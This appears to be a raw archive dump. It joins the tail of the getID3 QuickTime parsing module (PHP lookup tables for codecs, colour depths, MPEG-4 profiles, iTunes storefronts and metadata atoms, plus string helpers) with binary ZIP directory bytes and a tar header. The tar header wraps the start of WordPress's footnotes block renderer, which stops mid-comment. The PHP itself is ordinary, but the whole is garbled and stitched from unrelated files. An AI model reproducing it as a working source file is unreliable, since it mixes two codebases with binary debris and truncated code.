			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
		}
		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $compressionid
	 *
	 * @return string
	 */
	public function QuicktimeDCOMLookup($compressionid) {
		static $QuicktimeDCOMLookup = array();
		if (empty($QuicktimeDCOMLookup)) {
			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
		}
		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
	}

	/**
	 * @param int $colordepthid
	 *
	 * @return string
	 */
	public function QuicktimeColorNameLookup($colordepthid) {
		static $QuicktimeColorNameLookup = array();
		if (empty($QuicktimeColorNameLookup)) {
			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
			$QuicktimeColorNameLookup[2]  = '4-color';
			$QuicktimeColorNameLookup[4]  = '16-color';
			$QuicktimeColorNameLookup[8]  = '256-color';
			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
			$QuicktimeColorNameLookup[33] = 'black & white';
			$QuicktimeColorNameLookup[34] = '4-gray';
			$QuicktimeColorNameLookup[36] = '16-gray';
			$QuicktimeColorNameLookup[40] = '256-gray';
		}
		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
	}

	/**
	 * @param int $stik
	 *
	 * @return string
	 */
	public function QuicktimeSTIKLookup($stik) {
		static $QuicktimeSTIKLookup = array();
		if (empty($QuicktimeSTIKLookup)) {
			$QuicktimeSTIKLookup[0]  = 'Movie';
			$QuicktimeSTIKLookup[1]  = 'Normal';
			$QuicktimeSTIKLookup[2]  = 'Audiobook';
			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
			$QuicktimeSTIKLookup[6]  = 'Music Video';
			$QuicktimeSTIKLookup[9]  = 'Short Film';
			$QuicktimeSTIKLookup[10] = 'TV Show';
			$QuicktimeSTIKLookup[11] = 'Booklet';
			$QuicktimeSTIKLookup[14] = 'Ringtone';
			$QuicktimeSTIKLookup[21] = 'Podcast';
		}
		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
	}

	/**
	 * @param int $audio_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
		static $QuicktimeIODSaudioProfileNameLookup = array();
		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
			$QuicktimeIODSaudioProfileNameLookup = array(
				0x00 => 'ISO Reserved (0x00)',
				0x01 => 'Main Audio Profile @ Level 1',
				0x02 => 'Main Audio Profile @ Level 2',
				0x03 => 'Main Audio Profile @ Level 3',
				0x04 => 'Main Audio Profile @ Level 4',
				0x05 => 'Scalable Audio Profile @ Level 1',
				0x06 => 'Scalable Audio Profile @ Level 2',
				0x07 => 'Scalable Audio Profile @ Level 3',
				0x08 => 'Scalable Audio Profile @ Level 4',
				0x09 => 'Speech Audio Profile @ Level 1',
				0x0A => 'Speech Audio Profile @ Level 2',
				0x0B => 'Synthetic Audio Profile @ Level 1',
				0x0C => 'Synthetic Audio Profile @ Level 2',
				0x0D => 'Synthetic Audio Profile @ Level 3',
				0x0E => 'High Quality Audio Profile @ Level 1',
				0x0F => 'High Quality Audio Profile @ Level 2',
				0x10 => 'High Quality Audio Profile @ Level 3',
				0x11 => 'High Quality Audio Profile @ Level 4',
				0x12 => 'High Quality Audio Profile @ Level 5',
				0x13 => 'High Quality Audio Profile @ Level 6',
				0x14 => 'High Quality Audio Profile @ Level 7',
				0x15 => 'High Quality Audio Profile @ Level 8',
				0x16 => 'Low Delay Audio Profile @ Level 1',
				0x17 => 'Low Delay Audio Profile @ Level 2',
				0x18 => 'Low Delay Audio Profile @ Level 3',
				0x19 => 'Low Delay Audio Profile @ Level 4',
				0x1A => 'Low Delay Audio Profile @ Level 5',
				0x1B => 'Low Delay Audio Profile @ Level 6',
				0x1C => 'Low Delay Audio Profile @ Level 7',
				0x1D => 'Low Delay Audio Profile @ Level 8',
				0x1E => 'Natural Audio Profile @ Level 1',
				0x1F => 'Natural Audio Profile @ Level 2',
				0x20 => 'Natural Audio Profile @ Level 3',
				0x21 => 'Natural Audio Profile @ Level 4',
				0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
				0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
				0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
				0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
				0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
				0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
				0x28 => 'AAC Profile @ Level 1',
				0x29 => 'AAC Profile @ Level 2',
				0x2A => 'AAC Profile @ Level 4',
				0x2B => 'AAC Profile @ Level 5',
				0x2C => 'High Efficiency AAC Profile @ Level 2',
				0x2D => 'High Efficiency AAC Profile @ Level 3',
				0x2E => 'High Efficiency AAC Profile @ Level 4',
				0x2F => 'High Efficiency AAC Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 audio profiles',
				0xFF => 'No audio capability required',
			);
		}
		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
	}

	/**
	 * @param int $video_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSvideoProfileName($video_profile_id) {
		static $QuicktimeIODSvideoProfileNameLookup = array();
		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
			$QuicktimeIODSvideoProfileNameLookup = array(
				0x00 => 'Reserved (0x00) Profile',
				0x01 => 'Simple Profile @ Level 1',
				0x02 => 'Simple Profile @ Level 2',
				0x03 => 'Simple Profile @ Level 3',
				0x08 => 'Simple Profile @ Level 0',
				0x10 => 'Simple Scalable Profile @ Level 0',
				0x11 => 'Simple Scalable Profile @ Level 1',
				0x12 => 'Simple Scalable Profile @ Level 2',
				0x15 => 'AVC/H264 Profile',
				0x21 => 'Core Profile @ Level 1',
				0x22 => 'Core Profile @ Level 2',
				0x32 => 'Main Profile @ Level 2',
				0x33 => 'Main Profile @ Level 3',
				0x34 => 'Main Profile @ Level 4',
				0x42 => 'N-bit Profile @ Level 2',
				0x51 => 'Scalable Texture Profile @ Level 1',
				0x61 => 'Simple Face Animation Profile @ Level 1',
				0x62 => 'Simple Face Animation Profile @ Level 2',
				0x63 => 'Simple FBA Profile @ Level 1',
				0x64 => 'Simple FBA Profile @ Level 2',
				0x71 => 'Basic Animated Texture Profile @ Level 1',
				0x72 => 'Basic Animated Texture Profile @ Level 2',
				0x81 => 'Hybrid Profile @ Level 1',
				0x82 => 'Hybrid Profile @ Level 2',
				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
				0xA1 => 'Core Scalable Profile @ Level1',
				0xA2 => 'Core Scalable Profile @ Level2',
				0xA3 => 'Core Scalable Profile @ Level3',
				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
				0xC1 => 'Advanced Core Profile @ Level 1',
				0xC2 => 'Advanced Core Profile @ Level 2',
				0xD1 => 'Advanced Scalable Texture @ Level1',
				0xD2 => 'Advanced Scalable Texture @ Level2',
				0xE1 => 'Simple Studio Profile @ Level 1',
				0xE2 => 'Simple Studio Profile @ Level 2',
				0xE3 => 'Simple Studio Profile @ Level 3',
				0xE4 => 'Simple Studio Profile @ Level 4',
				0xE5 => 'Core Studio Profile @ Level 1',
				0xE6 => 'Core Studio Profile @ Level 2',
				0xE7 => 'Core Studio Profile @ Level 3',
				0xE8 => 'Core Studio Profile @ Level 4',
				0xF0 => 'Advanced Simple Profile @ Level 0',
				0xF1 => 'Advanced Simple Profile @ Level 1',
				0xF2 => 'Advanced Simple Profile @ Level 2',
				0xF3 => 'Advanced Simple Profile @ Level 3',
				0xF4 => 'Advanced Simple Profile @ Level 4',
				0xF5 => 'Advanced Simple Profile @ Level 5',
				0xF7 => 'Advanced Simple Profile @ Level 3b',
				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 Visual profiles',
				0xFF => 'No visual capability required',
			);
		}
		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
	}

	/**
	 * @param int $rtng
	 *
	 * @return string
	 */
	public function QuicktimeContentRatingLookup($rtng) {
		static $QuicktimeContentRatingLookup = array();
		if (empty($QuicktimeContentRatingLookup)) {
			$QuicktimeContentRatingLookup[0]  = 'None';
			$QuicktimeContentRatingLookup[1]  = 'Explicit';
			$QuicktimeContentRatingLookup[2]  = 'Clean';
			$QuicktimeContentRatingLookup[4]  = 'Explicit (old)';
		}
		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
	}

	/**
	 * @param int $akid
	 *
	 * @return string
	 */
	public function QuicktimeStoreAccountTypeLookup($akid) {
		static $QuicktimeStoreAccountTypeLookup = array();
		if (empty($QuicktimeStoreAccountTypeLookup)) {
			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
		}
		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
	}

	/**
	 * @param int $sfid
	 *
	 * @return string
	 */
	public function QuicktimeStoreFrontCodeLookup($sfid) {
		static $QuicktimeStoreFrontCodeLookup = array();
		if (empty($QuicktimeStoreFrontCodeLookup)) {
			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
		}
		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
	}

	/**
	 * @param string $keyname
	 * @param string|array $data
	 * @param string $boxname
	 *
	 * @return bool
	 */
	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
		static $handyatomtranslatorarray = array();
		if (empty($handyatomtranslatorarray)) {
			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
			// http://atomicparsley.sourceforge.net/mpeg-4files.html
			// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
			$handyatomtranslatorarray["\xA9".'alb'] = 'album';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
			$handyatomtranslatorarray["\xA9".'art'] = 'artist';              // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';             // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
			$handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by';
			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';            // iTunes 4.2
			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';              // iTunes 5.0
			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
			$handyatomtranslatorarray["\xA9".'nam'] = 'title';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
			$handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'trk'] = 'track_number';
			$handyatomtranslatorarray["\xA9".'url'] = 'url';
			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
			$handyatomtranslatorarray["\xA9".'wrt'] = 'composer';
			$handyatomtranslatorarray['aART'] = 'album_artist';
			$handyatomtranslatorarray['apID'] = 'purchase_account';
			$handyatomtranslatorarray['catg'] = 'category';            // iTunes 4.9
			$handyatomtranslatorarray['covr'] = 'picture';             // iTunes 4.0
			$handyatomtranslatorarray['cpil'] = 'compilation';         // iTunes 4.0
			$handyatomtranslatorarray['cprt'] = 'copyright';           // iTunes 4.0?
			$handyatomtranslatorarray['desc'] = 'description';         // iTunes 5.0
			$handyatomtranslatorarray['disk'] = 'disc_number';         // iTunes 4.0
			$handyatomtranslatorarray['egid'] = 'episode_guid';        // iTunes 4.9
			$handyatomtranslatorarray['gnre'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray['hdvd'] = 'hd_video';            // iTunes 4.0
			$handyatomtranslatorarray['ldes'] = 'description_long';    //
			$handyatomtranslatorarray['keyw'] = 'keyword';             // iTunes 4.9
			$handyatomtranslatorarray['pcst'] = 'podcast';             // iTunes 4.9
			$handyatomtranslatorarray['pgap'] = 'gapless_playback';    // iTunes 7.0
			$handyatomtranslatorarray['purd'] = 'purchase_date';       // iTunes 6.0.2
			$handyatomtranslatorarray['purl'] = 'podcast_url';         // iTunes 4.9
			$handyatomtranslatorarray['rtng'] = 'rating';              // iTunes 4.0
			$handyatomtranslatorarray['soaa'] = 'sort_album_artist';   //
			$handyatomtranslatorarray['soal'] = 'sort_album';          //
			$handyatomtranslatorarray['soar'] = 'sort_artist';         //
			$handyatomtranslatorarray['soco'] = 'sort_composer';       //
			$handyatomtranslatorarray['sonm'] = 'sort_title';          //
			$handyatomtranslatorarray['sosn'] = 'sort_show';           //
			$handyatomtranslatorarray['stik'] = 'stik';                // iTunes 4.9
			$handyatomtranslatorarray['tmpo'] = 'bpm';                 // iTunes 4.0
			$handyatomtranslatorarray['trkn'] = 'track_number';        // iTunes 4.0
			$handyatomtranslatorarray['tven'] = 'tv_episode_id';       //
			$handyatomtranslatorarray['tves'] = 'tv_episode';          // iTunes 6.0
			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';     // iTunes 6.0
			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';        // iTunes 6.0
			$handyatomtranslatorarray['tvsn'] = 'tv_season';           // iTunes 6.0

			// boxnames:
			/*
			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';

			// http://age.hobba.nl/audio/tag_frame_reference.html
			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - https://www.getid3.org/phpBB3/viewtopic.php?t=1355
			*/
		}
		$info = &$this->getid3->info;
		$comment_key = '';
		if ($boxname && ($boxname != $keyname)) {
			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
		} elseif (isset($handyatomtranslatorarray[$keyname])) {
			$comment_key = $handyatomtranslatorarray[$keyname];
		}
		if ($comment_key) {
			if ($comment_key == 'picture') {
				// already copied directly into [comments][picture] elsewhere, do not re-copy here
				return true;
			}
			$gooddata = array($data);
			if ($comment_key == 'genre') {
				// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
				$gooddata = explode(';', $data);
			}
			foreach ($gooddata as $data) {
				if (!empty($info['quicktime']['comments'][$comment_key]) && in_array($data, $info['quicktime']['comments'][$comment_key], true)) {
					// avoid duplicate copies of identical data
					continue;
				}
				$info['quicktime']['comments'][$comment_key][] = $data;
			}
		}
		return true;
	}

	/**
	 * @param string $lstring
	 * @param int    $count
	 *
	 * @return string
	 */
	public function LociString($lstring, &$count) {
		// Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM
		// Also need to return the number of bytes the string occupied so additional fields can be extracted
		$len = strlen($lstring);
		if ($len == 0) {
			$count = 0;
			return '';
		}
		if ($lstring[0] == "\x00") {
			$count = 1;
			return '';
		}
		// check for BOM
		if (($len > 2) && ((($lstring[0] == "\xFE") && ($lstring[1] == "\xFF")) || (($lstring[0] == "\xFF") && ($lstring[1] == "\xFE")))) {
			// UTF-16
			if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
				$count = strlen($lmatches[1]) * 2 + 2; //account for 2 byte characters and trailing \x0000
				return getid3_lib::iconv_fallback_utf16_utf8($lmatches[1]);
			} else {
				return '';
			}
		}
		// UTF-8
		if (preg_match('/(.*)\x00/', $lstring, $lmatches)) {
			$count = strlen($lmatches[1]) + 1; //account for trailing \x00
			return $lmatches[1];
		}
		return '';
	}

	/**
	 * @param string $nullterminatedstring
	 *
	 * @return string
	 */
	public function NoNullString($nullterminatedstring) {
		// remove the single null terminator on null terminated strings
		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
		}
		return $nullterminatedstring;
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function Pascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		return substr($pascalstring, 1);
	}

	/**
	 * @param string $pascalstring
	 *
	 * @return string
	 */
	public function MaybePascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		// Check if string actually is in this format or written incorrectly, straight string, or null-terminated string
		if (ord(substr($pascalstring, 0, 1)) == (strlen($pascalstring) - 1)) {
			return substr($pascalstring, 1);
		} elseif (substr($pascalstring, -1, 1) == "\x00") {
			// appears to be null-terminated instead of Pascal-style
			return substr($pascalstring, 0, -1);
		}
		return $pascalstring;
	}


	/**
	 * Helper functions for m4b audiobook chapters
	 * code by Steffen Hartmann 2015-Nov-08.
	 *
	 * @param array  $info
	 * @param string $tag
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_key($info, $tag, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if ($key === $tag) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_key($value, $tag, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array  $info
	 * @param string $k
	 * @param string $v
	 * @param string $history
	 * @param array  $result
	 */
	public function search_tag_by_pair($info, $k, $v, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if (($key === $k) && ($value === $v)) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_pair($value, $k, $v, $key_history, $result);
				}
			}
		}
	}

	/**
	 * @param array $info
	 *
	 * @return array
	 */
	public function quicktime_time_to_sample_table($info) {
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$stts_res = array();
				$this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res);
				if (count($stts_res) > 0) {
					return $stts_res[0][1]['time_to_sample_table'];
				}
			}
		}
		return array();
	}


	/**
	 * @param array $info
	 *
	 * @return int
	 */
	public function quicktime_bookmark_time_scale($info) {
		$time_scale = '';
		$ts_prefix_len = 0;
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$ts_res = array();
				$this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res);
				foreach ($ts_res as $sub_value) {
					$prefix = substr($sub_value[0], 0, -12);
					if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) {
						$time_scale = $sub_value[1]['time_scale'];
						$ts_prefix_len = strlen($prefix);
					}
				}
			}
		}
		return $time_scale;
	}
	/*
	// END helper functions for m4b audiobook chapters
	*/


}
PKEWd[%,�ttlicense.txtnu�[���PKEWd[�;jj�module.audio-video.riff.phpnu�[���PKEWd[���
..d$module.tag.lyrics3.phpnu�[���PKEWd[L���Rmodule.audio-video.asf.phpnu�[���PKEWd[�hi�:�:�emodule.tag.id3v1.phpnu�[���PKEWd[�u��I�I��module.tag.apetag.phpnu�[���PKEWd[>of�f�f
��readme.txtnu�[���PKEWd[�3��u\u\�Qmodule.tag.id3v2.phpnu�[���PKEWd[ĥXf������module.audio.mp3.phpnu�[���PKEWd[���*�*sP	module.audio.dts.phpnu�[���PKEWd[G���i�i={	module.audio-video.flv.phpnu�[���PKEWd[�	�~����	module.audio.ogg.phpnu�[���PKEWd[O!�d<d<
ێ
getid3.phpnu�[���PKEWd[��ؙؙy�module.audio.ac3.phpnu�[���PKEWd[��
4�L�L�emodule.audio.flac.phpnu�[���PKEWd[�/֋���Ųmodule.audio-video.matroska.phpnu�[���PKEWd[���|�����Ugetid3.lib.phpnu�[���PKEWd[Dc�_�_� o+module.audio-video.quicktime.phpnu�[���PK��14338/footnotes.php.tar000064400000013000151024420100010523 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/footnotes.php000064400000007273151024244600025371 0ustar00<?php
/**
 * Server-side rendering of the `core/footnotes` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the HTML representing the footnotes.
 */
function render_block_core_footnotes( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	if ( post_password_required( $block->context['postId'] ) ) {
		return;
	}

	$footnotes = get_post_meta( $block->context['postId'], 'footnotes', true );

	if ( ! $footnotes ) {
		return;
	}

	$footnotes = json_decode( $footnotes, true );

	if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) {
		return '';
	}

	$wrapper_attributes = get_block_wrapper_attributes();
	$footnote_index     = 1;

	$block_content = '';

	foreach ( $footnotes as $footnote ) {
		// Translators: %d: Integer representing the number of return links on the page.
		$aria_label     = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index );
		$block_content .= sprintf(
			'<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>',
			$footnote['id'],
			$footnote['content'],
			$aria_label
		);
		++$footnote_index;
	}

	return sprintf(
		'<ol %1$s>%2$s</ol>',
		$wrapper_attributes,
		$block_content
	);
}

/**
 * Registers the `core/footnotes` block on the server.
 *
 * @since 6.3.0
 */
function register_block_core_footnotes() {
	register_block_type_from_metadata(
		__DIR__ . '/footnotes',
		array(
			'render_callback' => 'render_block_core_footnotes',
		)
	);
}
add_action( 'init', 'register_block_core_footnotes' );


/**
 * Registers the footnotes meta field required for footnotes to work.
 *
 * @since 6.5.0
